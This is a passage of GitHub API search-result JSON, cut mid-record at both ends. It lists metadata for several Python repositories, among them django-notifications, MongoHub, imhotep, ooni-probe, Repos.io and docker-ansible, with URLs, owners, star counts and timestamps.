Django","fork":false,"url":"https://api.github.com/repos/brantyoung/django-notifications","forks_url":"https://api.github.com/repos/brantyoung/django-notifications/forks","keys_url":"https://api.github.com/repos/brantyoung/django-notifications/keys{/key_id}","collaborators_url":"https://api.github.com/repos/brantyoung/django-notifications/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/brantyoung/django-notifications/teams","hooks_url":"https://api.github.com/repos/brantyoung/django-notifications/hooks","issue_events_url":"https://api.github.com/repos/brantyoung/django-notifications/issues/events{/number}","events_url":"https://api.github.com/repos/brantyoung/django-notifications/events","assignees_url":"https://api.github.com/repos/brantyoung/django-notifications/assignees{/user}","branches_url":"https://api.github.com/repos/brantyoung/django-notifications/branches{/branch}","tags_url":"https://api.github.com/repos/brantyoung/django-notifications/tags","blobs_url":"https://api.github.com/repos/brantyoung/django-notifications/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/brantyoung/django-notifications/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/brantyoung/django-notifications/git/refs{/sha}","trees_url":"https://api.github.com/repos/brantyoung/django-notifications/git/trees{/sha}","statuses_url":"https://api.github.com/repos/brantyoung/django-notifications/statuses/{sha}","languages_url":"https://api.github.com/repos/brantyoung/django-notifications/languages","stargazers_url":"https://api.github.com/repos/brantyoung/django-notifications/stargazers","contributors_url":"https://api.github.com/repos/brantyoung/django-notifications/contributors","subscribers_url":"https://api.github.com/repos/brantyoung/django-notifications/subscribers","subscription_url":"https://api.github.com/repos/brantyoung/django-notifications/subscription","commits_url":"https://api.github.com/repos/brantyoung/django-notifications/commits{/sha}","git_commits_url":"https://api.github.com/repos/brantyoung/django-notifications/git/commits{/sha}","comments_url":"https://api.github.com/repos/brantyoung/django-notifications/comments{/number}","issue_comment_url":"https://api.github.com/repos/brantyoung/django-notifications/issues/comments/{number}","contents_url":"https://api.github.com/repos/brantyoung/django-notifications/contents/{+path}","compare_url":"https://api.github.com/repos/brantyoung/django-notifications/compare/{base}...{head}","merges_url":"https://api.github.com/repos/brantyoung/django-notifications/merges","archive_url":"https://api.github.com/repos/brantyoung/django-notifications/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/brantyoung/django-notifications/downloads","issues_url":"https://api.github.com/repos/brantyoung/django-notifications/issues{/number}","pulls_url":"https://api.github.com/repos/brantyoung/django-notifications/pulls{/number}","milestones_url":"https://api.github.com/repos/brantyoung/django-notifications/milestones{/number}","notifications_url":"https://api.github.com/repos/brantyoung/django-notifications/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/brantyoung/django-notifications/labels{/name}","releases_url":"https://api.github.com/repos/brantyoung/django-notifications/releases{/id}","created_at":"2012-07-22T10:41:02Z","updated_at":"2014-01-31T14:37:50Z","pushed_at":"2014-01-31T14:37:49Z","git_url":"git://github.com/brantyoung/django-notifications.git","ssh_url":"git@github.com:brantyoung/django-notifications.git","clone_url":"https://github.com/brantyoung/django-notifications.git","svn_url":"https://github.com/brantyoung/django-notifications","homepage":"http://pypi.python.org/pypi/django-notifications-hq/","size":272,"stargazers_count":99,"watchers_count":99,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":47,"mirror_url":null,"open_issues_count":10,"forks":47,"open_issues":10,"watchers":99,"default_branch":"master","master_branch":"master","score":15.606587},{"id":404180,"name":"MongoHub","full_name":"bububa/MongoHub","owner":{"login":"bububa","id":98709,"avatar_url":"https://avatars.githubusercontent.com/u/98709","gravatar_id":"437a6fea43875498f2620bfd17ee6bdb","url":"https://api.github.com/users/bububa","html_url":"https://github.com/bububa","followers_url":"https://api.github.com/users/bububa/followers","following_url":"https://api.github.com/users/bububa/following{/other_user}","gists_url":"https://api.github.com/users/bububa/gists{/gist_id}","starred_url":"https://api.github.com/users/bububa/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bububa/subscriptions","organizations_url":"https://api.github.com/users/bububa/orgs","repos_url":"https://api.github.com/users/bububa/repos","events_url":"https://api.github.com/users/bububa/events{/privacy}","received_events_url":"https://api.github.com/users/bububa/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/bububa/MongoHub","description":"Mongodb GUI tool based on Titanium. If you want a native mac version please check http://github.com/bububa/MongoHub-Mac","fork":false,"url":"https://api.github.com/repos/bububa/MongoHub","forks_url":"https://api.github.com/repos/bububa/MongoHub/forks","keys_url":"https://api.github.com/repos/bububa/MongoHub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/bububa/MongoHub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/bububa/MongoHub/teams","hooks_url":"https://api.github.com/repos/bububa/MongoHub/hooks","issue_events_url":"https://api.github.com/repos/bububa/MongoHub/issues/events{/number}","events_url":"https://api.github.com/repos/bububa/MongoHub/events","assignees_url":"https://api.github.com/repos/bububa/MongoHub/assignees{/user}","branches_url":"https://api.github.com/repos/bububa/MongoHub/branches{/branch}","tags_url":"https://api.github.com/repos/bububa/MongoHub/tags","blobs_url":"https://api.github.com/repos/bububa/MongoHub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/bububa/MongoHub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/bububa/MongoHub/git/refs{/sha}","trees_url":"https://api.github.com/repos/bububa/MongoHub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/bububa/MongoHub/statuses/{sha}","languages_url":"https://api.github.com/repos/bububa/MongoHub/languages","stargazers_url":"https://api.github.com/repos/bububa/MongoHub/stargazers","contributors_url":"https://api.github.com/repos/bububa/MongoHub/contributors","subscribers_url":"https://api.github.com/repos/bububa/MongoHub/subscribers","subscription_url":"https://api.github.com/repos/bububa/MongoHub/subscription","commits_url":"https://api.github.com/repos/bububa/MongoHub/commits{/sha}","git_commits_url":"https://api.github.com/repos/bububa/MongoHub/git/commits{/sha}","comments_url":"https://api.github.com/repos/bububa/MongoHub/comments{/number}","issue_comment_url":"https://api.github.com/repos/bububa/MongoHub/issues/comments/{number}","contents_url":"https://api.github.com/repos/bububa/MongoHub/contents/{+path}","compare_url":"https://api.github.com/repos/bububa/MongoHub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/bububa/MongoHub/merges","archive_url":"https://api.github.com/repos/bububa/MongoHub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/bububa/MongoHub/downloads","issues_url":"https://api.github.com/repos/bububa/MongoHub/issues{/number}","pulls_url":"https://api.github.com/repos/bububa/MongoHub/pulls{/number}","milestones_url":"https://api.github.com/repos/bububa/MongoHub/milestones{/number}","notifications_url":"https://api.github.com/repos/bububa/MongoHub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/bububa/MongoHub/labels{/name}","releases_url":"https://api.github.com/repos/bububa/MongoHub/releases{/id}","created_at":"2009-12-07T18:34:33Z","updated_at":"2014-01-15T03:58:25Z","pushed_at":"2009-12-07T18:53:48Z","git_url":"git://github.com/bububa/MongoHub.git","ssh_url":"git@github.com:bububa/MongoHub.git","clone_url":"https://github.com/bububa/MongoHub.git","svn_url":"https://github.com/bububa/MongoHub","homepage":"http://api.appcelerator.net/p/pages/app_page?token=p4jmAb33","size":1194,"stargazers_count":97,"watchers_count":97,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":15,"mirror_url":null,"open_issues_count":2,"forks":15,"open_issues":2,"watchers":97,"default_branch":"master","master_branch":"master","score":6.2510147},{"id":7197654,"name":"imhotep","full_name":"justinabrahms/imhotep","owner":{"login":"justinabrahms","id":3853,"avatar_url":"https://avatars.githubusercontent.com/u/3853","gravatar_id":"bdb15b608b3bf84da98fa55c28ee0362","url":"https://api.github.com/users/justinabrahms","html_url":"https://github.com/justinabrahms","followers_url":"https://api.github.com/users/justinabrahms/followers","following_url":"https://api.github.com/users/justinabrahms/following{/other_user}","gists_url":"https://api.github.com/users/justinabrahms/gists{/gist_id}","starred_url":"https://api.github.com/users/justinabrahms/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/justinabrahms/subscriptions","organizations_url":"https://api.github.com/users/justinabrahms/orgs","repos_url":"https://api.github.com/users/justinabrahms/repos","events_url":"https://api.github.com/users/justinabrahms/events{/privacy}","received_events_url":"https://api.github.com/users/justinabrahms/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/justinabrahms/imhotep","description":"A static-analysis bot for Github","fork":false,"url":"https://api.github.com/repos/justinabrahms/imhotep","forks_url":"https://api.github.com/repos/justinabrahms/imhotep/forks","keys_url":"https://api.github.com/repos/justinabrahms/imhotep/keys{/key_id}","collaborators_url":"https://api.github.com/repos/justinabrahms/imhotep/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/justinabrahms/imhotep/teams","hooks_url":"https://api.github.com/repos/justinabrahms/imhotep/hooks","issue_events_url":"https://api.github.com/repos/justinabrahms/imhotep/issues/events{/number}","events_url":"https://api.github.com/repos/justinabrahms/imhotep/events","assignees_url":"https://api.github.com/repos/justinabrahms/imhotep/assignees{/user}","branches_url":"https://api.github.com/repos/justinabrahms/imhotep/branches{/branch}","tags_url":"https://api.github.com/repos/justinabrahms/imhotep/tags","blobs_url":"https://api.github.com/repos/justinabrahms/imhotep/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/justinabrahms/imhotep/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/justinabrahms/imhotep/git/refs{/sha}","trees_url":"https://api.github.com/repos/justinabrahms/imhotep/git/trees{/sha}","statuses_url":"https://api.github.com/repos/justinabrahms/imhotep/statuses/{sha}","languages_url":"https://api.github.com/repos/justinabrahms/imhotep/languages","stargazers_url":"https://api.github.com/repos/justinabrahms/imhotep/stargazers","contributors_url":"https://api.github.com/repos/justinabrahms/imhotep/contributors","subscribers_url":"https://api.github.com/repos/justinabrahms/imhotep/subscribers","subscription_url":"https://api.github.com/repos/justinabrahms/imhotep/subscription","commits_url":"https://api.github.com/repos/justinabrahms/imhotep/commits{/sha}","git_commits_url":"https://api.github.com/repos/justinabrahms/imhotep/git/commits{/sha}","comments_url":"https://api.github.com/repos/justinabrahms/imhotep/comments{/number}","issue_comment_url":"https://api.github.com/repos/justinabrahms/imhotep/issues/comments/{number}","contents_url":"https://api.github.com/repos/justinabrahms/imhotep/contents/{+path}","compare_url":"https://api.github.com/repos/justinabrahms/imhotep/compare/{base}...{head}","merges_url":"https://api.github.com/repos/justinabrahms/imhotep/merges","archive_url":"https://api.github.com/repos/justinabrahms/imhotep/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/justinabrahms/imhotep/downloads","issues_url":"https://api.github.com/repos/justinabrahms/imhotep/issues{/number}","pulls_url":"https://api.github.com/repos/justinabrahms/imhotep/pulls{/number}","milestones_url":"https://api.github.com/repos/justinabrahms/imhotep/milestones{/number}","notifications_url":"https://api.github.com/repos/justinabrahms/imhotep/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/justinabrahms/imhotep/labels{/name}","releases_url":"https://api.github.com/repos/justinabrahms/imhotep/releases{/id}","created_at":"2012-12-17T01:26:32Z","updated_at":"2014-02-22T20:35:35Z","pushed_at":"2014-02-22T20:35:34Z","git_url":"git://github.com/justinabrahms/imhotep.git","ssh_url":"git@github.com:justinabrahms/imhotep.git","clone_url":"https://github.com/justinabrahms/imhotep.git","svn_url":"https://github.com/justinabrahms/imhotep","homepage":null,"size":1628,"stargazers_count":95,"watchers_count":95,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":11,"mirror_url":null,"open_issues_count":8,"forks":11,"open_issues":8,"watchers":95,"default_branch":"master","master_branch":"master","score":12.920913},{"id":3944100,"name":"ooni-probe","full_name":"TheTorProject/ooni-probe","owner":{"login":"TheTorProject","id":3301912,"avatar_url":"https://avatars.githubusercontent.com/u/3301912","gravatar_id":"11c23a775bfe036e7b0df327cba6d9fc","url":"https://api.github.com/users/TheTorProject","html_url":"https://github.com/TheTorProject","followers_url":"https://api.github.com/users/TheTorProject/followers","following_url":"https://api.github.com/users/TheTorProject/following{/other_user}","gists_url":"https://api.github.com/users/TheTorProject/gists{/gist_id}","starred_url":"https://api.github.com/users/TheTorProject/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/TheTorProject/subscriptions","organizations_url":"https://api.github.com/users/TheTorProject/orgs","repos_url":"https://api.github.com/users/TheTorProject/repos","events_url":"https://api.github.com/users/TheTorProject/events{/privacy}","received_events_url":"https://api.github.com/users/TheTorProject/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/TheTorProject/ooni-probe","description":"github copy of OONI-probe https://gitweb.torproject.org/ooni-probe.git","fork":false,"url":"https://api.github.com/repos/TheTorProject/ooni-probe","forks_url":"https://api.github.com/repos/TheTorProject/ooni-probe/forks","keys_url":"https://api.github.com/repos/TheTorProject/ooni-probe/keys{/key_id}","collaborators_url":"https://api.github.com/repos/TheTorProject/ooni-probe/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/TheTorProject/ooni-probe/teams","hooks_url":"https://api.github.com/repos/TheTorProject/ooni-probe/hooks","issue_events_url":"https://api.github.com/repos/TheTorProject/ooni-probe/issues/events{/number}","events_url":"https://api.github.com/repos/TheTorProject/ooni-probe/events","assignees_url":"https://api.github.com/repos/TheTorProject/ooni-probe/assignees{/user}","branches_url":"https://api.github.com/repos/TheTorProject/ooni-probe/branches{/branch}","tags_url":"https://api.github.com/repos/TheTorProject/ooni-probe/tags","blobs_url":"https://api.github.com/repos/TheTorProject/ooni-probe/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/TheTorProject/ooni-probe/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/TheTorProject/ooni-probe/git/refs{/sha}","trees_url":"https://api.github.com/repos/TheTorProject/ooni-probe/git/trees{/sha}","statuses_url":"https://api.github.com/repos/TheTorProject/ooni-probe/statuses/{sha}","languages_url":"https://api.github.com/repos/TheTorProject/ooni-probe/languages","stargazers_url":"https://api.github.com/repos/TheTorProject/ooni-probe/stargazers","contributors_url":"https://api.github.com/repos/TheTorProject/ooni-probe/contributors","subscribers_url":"https://api.github.com/repos/TheTorProject/ooni-probe/subscribers","subscription_url":"https://api.github.com/repos/TheTorProject/ooni-probe/subscription","commits_url":"https://api.github.com/repos/TheTorProject/ooni-probe/commits{/sha}","git_commits_url":"https://api.github.com/repos/TheTorProject/ooni-probe/git/commits{/sha}","comments_url":"https://api.github.com/repos/TheTorProject/ooni-probe/comments{/number}","issue_comment_url":"https://api.github.com/repos/TheTorProject/ooni-probe/issues/comments/{number}","contents_url":"https://api.github.com/repos/TheTorProject/ooni-probe/contents/{+path}","compare_url":"https://api.github.com/repos/TheTorProject/ooni-probe/compare/{base}...{head}","merges_url":"https://api.github.com/repos/TheTorProject/ooni-probe/merges","archive_url":"https://api.github.com/repos/TheTorProject/ooni-probe/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/TheTorProject/ooni-probe/downloads","issues_url":"https://api.github.com/repos/TheTorProject/ooni-probe/issues{/number}","pulls_url":"https://api.github.com/repos/TheTorProject/ooni-probe/pulls{/number}","milestones_url":"https://api.github.com/repos/TheTorProject/ooni-probe/milestones{/number}","notifications_url":"https://api.github.com/repos/TheTorProject/ooni-probe/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/TheTorProject/ooni-probe/labels{/name}","releases_url":"https://api.github.com/repos/TheTorProject/ooni-probe/releases{/id}","created_at":"2012-04-05T20:59:23Z","updated_at":"2014-03-01T18:02:56Z","pushed_at":"2014-03-01T18:02:55Z","git_url":"git://github.com/TheTorProject/ooni-probe.git","ssh_url":"git@github.com:TheTorProject/ooni-probe.git","clone_url":"https://github.com/TheTorProject/ooni-probe.git","svn_url":"https://github.com/TheTorProject/ooni-probe","homepage":"https://ooni.torproject.org","size":9513,"stargazers_count":92,"watchers_count":92,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":37,"mirror_url":null,"open_issues_count":44,"forks":37,"open_issues":44,"watchers":92,"default_branch":"master","master_branch":"master","score":9.728605},{"id":2284312,"name":"Repos.io","full_name":"twidi/Repos.io","owner":{"login":"twidi","id":193474,"avatar_url":"https://avatars.githubusercontent.com/u/193474","gravatar_id":"4929cd99d0f54b7fa03081f9ab8bb0d4","url":"https://api.github.com/users/twidi","html_url":"https://github.com/twidi","followers_url":"https://api.github.com/users/twidi/followers","following_url":"https://api.github.com/users/twidi/following{/other_user}","gists_url":"https://api.github.com/users/twidi/gists{/gist_id}","starred_url":"https://api.github.com/users/twidi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/twidi/subscriptions","organizations_url":"https://api.github.com/users/twidi/orgs","repos_url":"https://api.github.com/users/twidi/repos","events_url":"https://api.github.com/users/twidi/events{/privacy}","received_events_url":"https://api.github.com/users/twidi/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/twidi/Repos.io","description":"The source code of the Repos.io site, a site to help you manage all your repositories (your own, and watched/liked/followed ones) hosted by different providers (github, bitbucket) ","fork":false,"url":"https://api.github.com/repos/twidi/Repos.io","forks_url":"https://api.github.com/repos/twidi/Repos.io/forks","keys_url":"https://api.github.com/repos/twidi/Repos.io/keys{/key_id}","collaborators_url":"https://api.github.com/repos/twidi/Repos.io/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/twidi/Repos.io/teams","hooks_url":"https://api.github.com/repos/twidi/Repos.io/hooks","issue_events_url":"https://api.github.com/repos/twidi/Repos.io/issues/events{/number}","events_url":"https://api.github.com/repos/twidi/Repos.io/events","assignees_url":"https://api.github.com/repos/twidi/Repos.io/assignees{/user}","branches_url":"https://api.github.com/repos/twidi/Repos.io/branches{/branch}","tags_url":"https://api.github.com/repos/twidi/Repos.io/tags","blobs_url":"https://api.github.com/repos/twidi/Repos.io/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/twidi/Repos.io/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/twidi/Repos.io/git/refs{/sha}","trees_url":"https://api.github.com/repos/twidi/Repos.io/git/trees{/sha}","statuses_url":"https://api.github.com/repos/twidi/Repos.io/statuses/{sha}","languages_url":"https://api.github.com/repos/twidi/Repos.io/languages","stargazers_url":"https://api.github.com/repos/twidi/Repos.io/stargazers","contributors_url":"https://api.github.com/repos/twidi/Repos.io/contributors","subscribers_url":"https://api.github.com/repos/twidi/Repos.io/subscribers","subscription_url":"https://api.github.com/repos/twidi/Repos.io/subscription","commits_url":"https://api.github.com/repos/twidi/Repos.io/commits{/sha}","git_commits_url":"https://api.github.com/repos/twidi/Repos.io/git/commits{/sha}","comments_url":"https://api.github.com/repos/twidi/Repos.io/comments{/number}","issue_comment_url":"https://api.github.com/repos/twidi/Repos.io/issues/comments/{number}","contents_url":"https://api.github.com/repos/twidi/Repos.io/contents/{+path}","compare_url":"https://api.github.com/repos/twidi/Repos.io/compare/{base}...{head}","merges_url":"https://api.github.com/repos/twidi/Repos.io/merges","archive_url":"https://api.github.com/repos/twidi/Repos.io/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/twidi/Repos.io/downloads","issues_url":"https://api.github.com/repos/twidi/Repos.io/issues{/number}","pulls_url":"https://api.github.com/repos/twidi/Repos.io/pulls{/number}","milestones_url":"https://api.github.com/repos/twidi/Repos.io/milestones{/number}","notifications_url":"https://api.github.com/repos/twidi/Repos.io/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/twidi/Repos.io/labels{/name}","releases_url":"https://api.github.com/repos/twidi/Repos.io/releases{/id}","created_at":"2011-08-28T18:05:49Z","updated_at":"2014-01-14T20:24:52Z","pushed_at":"2012-12-11T20:32:13Z","git_url":"git://github.com/twidi/Repos.io.git","ssh_url":"git@github.com:twidi/Repos.io.git","clone_url":"https://github.com/twidi/Repos.io.git","svn_url":"https://github.com/twidi/Repos.io","homepage":"http://repos.io","size":2471,"stargazers_count":92,"watchers_count":92,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":8,"mirror_url":null,"open_issues_count":18,"forks":8,"open_issues":18,"watchers":92,"default_branch":"develop","master_branch":"develop","score":3.960822},{"id":10574482,"name":"docker-ansible","full_name":"cove/docker-ansible","owner":{"login":"cove","id":612300,"avatar_url":"https://avatars.githubusercontent.com/u/612300","gravatar_id":"2d1b3ab8c563c220d681a09395319ace","url":"https://api.github.com/users/cove","html_url":"https://github.com/cove","followers_url":"https://api.github.com/users/cove/followers","following_url":"https://api.github.com/users/cove/following{/other_user}","gists_url":"https://api.github.com/users/cove/gists{/gist_id}","starred_url":"https://api.github.com/users/cove/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/cove/subscriptions","organizations_url":"https://api.github.com/users/cove/orgs","repos_url":"https://api.github.com/users/cove/repos","events_url":"https://api.github.com/users/cove/events{/privacy}","received_events_url":"https://api.github.com/users/cove/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/cove/docker-ansible","description":"Ansible module for Docker. Note: This module is now part of Ansible core, please see https://github.com/ansible/ansible.","fork":false,"url":"https://api.github.com/repos/cove/docker-ansible","forks_url":"https://api.github.com/repos/cove/docker-ansible/forks","keys_url":"https://api.github.com/repos/cove/docker-ansible/keys{/key_id}","collaborators_url":"https://api.github.com/repos/cove/docker-ansible/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/cove/docker-ansible/teams","hooks_url":"https://api.github.com/repos/cove/docker-ansible/hooks","issue_events_url":"https://api.github.com/repos/cove/docker-ansible/issues/events{/number}","events_url":"https://api.github.com/repos/cove/docker-ansible/events","assignees_url":"https://api.github.com/repos/cove/docker-ansible/assignees{/user}","branches_url":"https://api.github.com/repos/cove/docker-ansible/branches{/branch}","tags_url":"https://api.github.com/repos/cove/docker-ansible/tags","blobs_url":"https://api.github.com/repos/cove/docker-ansible/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/cove/docker-ansible/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/cove/docker-ansible/git/refs{/sha}","trees_url":"https://api.github.com/repos/cove/docker-ansible/git/trees{/sha}","statuses_url":"https://api.github.com/repos/cove/docker-ansible/statuses/{sha}","languages_url":"https://api.github.com/repos/cove/docker-ansible/languages","stargazers_url":"https://api.github.com/repos/cove/docker-ansible/stargazers","contributors_url":"https://api.github.com/repos/cove/docker-ansible/contributors","subscribers_url":"https://api.github.com/repos/cove/docker-ansible/subscribers","subscription_url":"https://api.github.com/repos/cove/docker-ansible/subscription","commits_url":"https://api.github.com/repos/cove/docker-ansible/commits{/sha}","git_commits_url":"https://api.github.com/repos/cove/docker-ansible/git/commits{/sha}","comments_url":"https://api.github.com/repos/cove/docker-ansible/comments{/number}","issue_comment_url":"https://api.github.com/repos/cove/docker-ansible/issues/comments/{number}","contents_url":"https://api.github.com/repos/cove/docker-ansible/contents/{+path}","compare_url":"https://api.github.com/repos/cove/docker-ansible/compare/{base}...{head}","merges_url":"https://api.github.com/repos/cove/docker-ansible/merges","archive_url":"https://api.github.com/repos/cove/docker-ansible/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/cove/docker-ansible/downloads","issues_url":"https://api.github.com/repos/cove/docker-ansible/issues{/number}","pulls_url":"https://api.github.com/repos/cove/docker-ansible/pulls{/number}","milestones_url":"https://api.github.com/repos/cove/docker-ansible/milestones{/number}","notifications_url":"https://api.github.com/repos/cove/docker-ansible/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/cove/docker-ansible/labels{/name}","releases_url":"https://api.github.com/repos/cove/docker-ansible/releases{/id}","created_at":"2013-06-08T21:26:20Z","updated_at":"2014-01-16T10:51:36Z","pushed_at":"2013-11-17T00:20:57Z","git_url":"git://github.com/cove/docker-ansible.git","ssh_url":"git@github.com:cove/docker-ansible.git","clone_url":"https://github.com/cove/docker-ansible.git","svn_url":"https://github.com/cove/docker-ansible","homepage":"","size":316,"stargazers_count":100,"watchers_count":100,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":16,"mirror_url":null,"open_issues_count":0,"forks":16,"open_issues":0,"watchers":100,"default_branch":"master","master_branch":"master","score":7.451908},{"id":865573,"name":"snipt-old","full_name":"nicksergeant/snipt-old","owner":{"login":"nicksergeant","id":27332,"avatar_url":"https://avatars.githubusercontent.com/u/27332","gravatar_id":"a74159ce0c29f89b75a25037e40b27a4","url":"https://api.github.com/users/nicksergeant","html_url":"https://github.com/nicksergeant","followers_url":"https://api.github.com/users/nicksergeant/followers","following_url":"https://api.github.com/users/nicksergeant/following{/other_user}","gists_url":"https://api.github.com/users/nicksergeant/gists{/gist_id}","starred_url":"https://api.github.com/users/nicksergeant/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nicksergeant/subscriptions","organizations_url":"https://api.github.com/users/nicksergeant/orgs","repos_url":"https://api.github.com/users/nicksergeant/repos","events_url":"https://api.github.com/users/nicksergeant/events{/privacy}","received_events_url":"https://api.github.com/users/nicksergeant/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/nicksergeant/snipt-old","description":"The old codebase for Snipt.net. You probably don't want this. Head to https://github.com/nicksergeant/snipt instead.","fork":false,"url":"https://api.github.com/repos/nicksergeant/snipt-old","forks_url":"https://api.github.com/repos/nicksergeant/snipt-old/forks","keys_url":"https://api.github.com/repos/nicksergeant/snipt-old/keys{/key_id}","collaborators_url":"https://api.github.com/repos/nicksergeant/snipt-old/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/nicksergeant/snipt-old/teams","hooks_url":"https://api.github.com/repos/nicksergeant/snipt-old/hooks","issue_events_url":"https://api.github.com/repos/nicksergeant/snipt-old/issues/events{/number}","events_url":"https://api.github.com/repos/nicksergeant/snipt-old/events","assignees_url":"https://api.github.com/repos/nicksergeant/snipt-old/assignees{/user}","branches_url":"https://api.github.com/repos/nicksergeant/snipt-old/branches{/branch}","tags_url":"https://api.github.com/repos/nicksergeant/snipt-old/tags","blobs_url":"https://api.github.com/repos/nicksergeant/snipt-old/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/nicksergeant/snipt-old/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/nicksergeant/snipt-old/git/refs{/sha}","trees_url":"https://api.github.com/repos/nicksergeant/snipt-old/git/trees{/sha}","statuses_url":"https://api.github.com/repos/nicksergeant/snipt-old/statuses/{sha}","languages_url":"https://api.github.com/repos/nicksergeant/snipt-old/languages","stargazers_url":"https://api.github.com/repos/nicksergeant/snipt-old/stargazers","contributors_url":"https://api.github.com/repos/nicksergeant/snipt-old/contributors","subscribers_url":"https://api.github.com/repos/nicksergeant/snipt-old/subscribers","subscription_url":"https://api.github.com/repos/nicksergeant/snipt-old/subscription","commits_url":"https://api.github.com/repos/nicksergeant/snipt-old/commits{/sha}","git_commits_url":"https://api.github.com/repos/nicksergeant/snipt-old/git/commits{/sha}","comments_url":"https://api.github.com/repos/nicksergeant/snipt-old/comments{/number}","issue_comment_url":"https://api.github.com/repos/nicksergeant/snipt-old/issues/comments/{number}","contents_url":"https://api.github.com/repos/nicksergeant/snipt-old/contents/{+path}","compare_url":"https://api.github.com/repos/nicksergeant/snipt-old/compare/{base}...{head}","merges_url":"https://api.github.com/repos/nicksergeant/snipt-old/merges","archive_url":"https://api.github.com/repos/nicksergeant/snipt-old/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/nicksergeant/snipt-old/downloads","issues_url":"https://api.github.com/repos/nicksergeant/snipt-old/issues{/number}","pulls_url":"https://api.github.com/repos/nicksergeant/snipt-old/pulls{/number}","milestones_url":"https://api.github.com/repos/nicksergeant/snipt-old/milestones{/number}","notifications_url":"https://api.github.com/repos/nicksergeant/snipt-old/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/nicksergeant/snipt-old/labels{/name}","releases_url":"https://api.github.com/repos/nicksergeant/snipt-old/releases{/id}","created_at":"2010-08-27T04:04:35Z","updated_at":"2013-11-13T18:32:02Z","pushed_at":"2012-09-19T00:09:48Z","git_url":"git://github.com/nicksergeant/snipt-old.git","ssh_url":"git@github.com:nicksergeant/snipt-old.git","clone_url":"https://github.com/nicksergeant/snipt-old.git","svn_url":"https://github.com/nicksergeant/snipt-old","homepage":"https://snipt.net","size":670,"stargazers_count":88,"watchers_count":88,"language":"Python","has_issues":false,"has_downloads":true,"has_wiki":false,"forks_count":7,"mirror_url":null,"open_issues_count":0,"forks":7,"open_issues":0,"watchers":88,"default_branch":"master","master_branch":"master","score":5.22918},{"id":688960,"name":"django-class-based-views","full_name":"bfirsh/django-class-based-views","owner":{"login":"bfirsh","id":40906,"avatar_url":"https://avatars.githubusercontent.com/u/40906","gravatar_id":"011ce2693e5feec652d9ff2cc1b90d15","url":"https://api.github.com/users/bfirsh","html_url":"https://github.com/bfirsh","followers_url":"https://api.github.com/users/bfirsh/followers","following_url":"https://api.github.com/users/bfirsh/following{/other_user}","gists_url":"https://api.github.com/users/bfirsh/gists{/gist_id}","starred_url":"https://api.github.com/users/bfirsh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bfirsh/subscriptions","organizations_url":"https://api.github.com/users/bfirsh/orgs","repos_url":"https://api.github.com/users/bfirsh/repos","events_url":"https://api.github.com/users/bfirsh/events{/privacy}","received_events_url":"https://api.github.com/users/bfirsh/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/bfirsh/django-class-based-views","description":"Work on class-based views, now part of Django 1.3. For a backport to Django 1.2, see 